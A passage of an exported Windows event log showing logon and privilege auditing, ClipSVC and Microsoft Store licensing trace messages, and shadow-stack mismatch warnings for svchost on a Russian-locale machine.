Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:10.765\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:43:10.793\t100\tClipSVC service is starting.  Caller: TriggerStarted\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:10.794\t210\tCreated Desktop AppX container {245CDD4B-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:43:10.794\t211\tAdded process 11916 to Desktop AppX container 245cdd4b-a8c9-11f1-b7ff-289200f24a99 for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:43:10.796\t101\tClipSVC service is running.  Version 10.0.26100.9168\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:43:10.805\t8001\t\"Considering License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.805\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.805\t8001\t\"Accepting key with License ID {DE7849EA-B8E4-60D1-C780-7B0969A99E76} for Content ID 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.805\t8001\t\"Returning key document for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.806\t8001\t\"Getting lease for 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"Adding lease {941FBCC0-EC32-D9CB-EB46-FC3AE38EC79B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"Returning 1 lease documents for contentid 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8001\t\"lease = 0x831ac208, usage = 268435456, policy = 1, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.807\t8011\t0x21f831d3840: 3380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"lease = 0x831ac208, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Lease Machine: 0000021F8312A600: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Set results for lease = 0x831ac208, policy = 1, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831ac208\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8012\t0x21f831d3840: 3380: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8011\t0x21f8312a620: 3380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8012\t0x21f8312a620: 3380: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T02:01:48Z (jitter was 18.636007 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8011\t0x21f8312a620: 3380: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8011\t0x21f831d3840: 3380: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.813\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 79ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.814\t8001\t\"Licensing package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe (3)\nFunction: OneStoreApplicationLicenseManager::GetLicenseForInstalledPackage\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\onestoreapplicensemanager.cpp (120)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8001\t\"Licensing EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (Active)\nFunction: LicenseManager::LicenseContentWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\manager.cpp (88)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8001\t\"0000021F831D3050: Key Machine for content: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: KeyMachine::KeyMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (95)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8011\t0x21f83133e68: 19344: RootMachine: Dispatch: Root:Connect => Root:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8011\t0x21f831d3070: 15996: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Activate => Key:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8001\t\"0000021F831D3050: BeginLicense: Operation 3, CachedLeaseOK true, RequireServiceValidation false\nFunction: KeyMachine::DoBeginLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (819)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.815\t8012\t0x21f831d3070: 15996: Key:Initial Change: Key:NegotiatingUnleased => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.816\t8001\t\"Considering License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED...\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (192)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Accepting key with License ID {0F8E2CD5-B8EB-7A22-B9E9-9B1183FA0A84} for Content ID EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED (first match)\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (223)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Returning key document for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetKeyDocumentForContentWithIdAndMinQuality\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (262)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.817\t8001\t\"Getting lease for EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: LicenseManagerCore::GetExistingLeaseAndLicense\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\managercore.cpp (415)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"Adding lease {A900C622-99E6-0D09-3F2B-FC30E2F4563B} to results\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (387)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"Returning 1 lease documents for contentid EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\nFunction: ClipStorage::GetLeaseDocumentsForKeyDocument\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipstorage.cpp (460)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"lease = 0x831acdd8, usage = 536870912, policy = 2147483647, operation = 3, leaseBehavior = 0, shouldContentBeDeactivated = 0\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (905)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"lease = 0x831acdd8, quality = 1073741824\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (935)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8001\t\"content is alreadyLicensed, lease is cached\nFunction: KeyMachine::DoLicenseThreadProc\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (942)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.819\t8011\t0x21f831d3070: 15996: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:@LicenseDone => Key:NegotiatingUnleased\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f37243, module offset: 0x17243, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5ea80, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f2fda9, module offset: 0xfda9, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c180, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f390c3, module offset: 0x190c3, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c189, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f306ff, module offset: 0x106ff, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c1a8, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.820\t25\t\"Process '\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe' (PID 8552) has encountered a shadow stack return address mismatch. The process will be allowed to continue execution because: the process is running in compatibility mode, and the mismatch occurred in a module that is not compatible with shadow stacks.\nProcess shadow stack strict mode: false\nAppcompat options: 0x0\n\nReturn instruction executed from module '\\Device\\HarddiskVolume3\\Windows\\System32\\pidgenx.dll'.\n(Instruction address: 0x7ffbf5f289fd, module offset: 0x89fd, module compatible with shadow stacks: false)\n\nAttempting to return to module '(null)'.\n(Instruction address: 0x22298f5c1a0, module offset: 0x0, module compatible with shadow stacks: false)\"\tWarning\tMicrosoft-Windows-Security-Mitigations/KernelMode\tMicrosoft-Windows-Security-Mitigations\n05.09.2026 08:43:10.825\t8001\t\"lease = 0x831acdd8, leaseActive = 1, leaseBehavior = 0\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1986)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Lease Machine: 0000021F8312A800: {7BA318A1-DC47-F731-723C-537E883DC563}\nFunction: LeaseMachine::LeaseMachine\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (40)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Set results for lease = 0x831acdd8, policy = 2147483647, operation = 3, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8011\t0x21f8312a820: 18884: {7BA318A1-DC47-F731-723C-537E883DC563}: Dispatch: Lease:UpdateLeaseDocument => Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8012\t0x21f8312a820: 18884: Lease:Initial Change: Lease:Valid => {7BA318A1-DC47-F731-723C-537E883DC563}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x831acdd8\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8012\t0x21f831d3070: 15996: Key:NegotiatingUnleased Change: Key:Valid => EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:43:10.825\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: 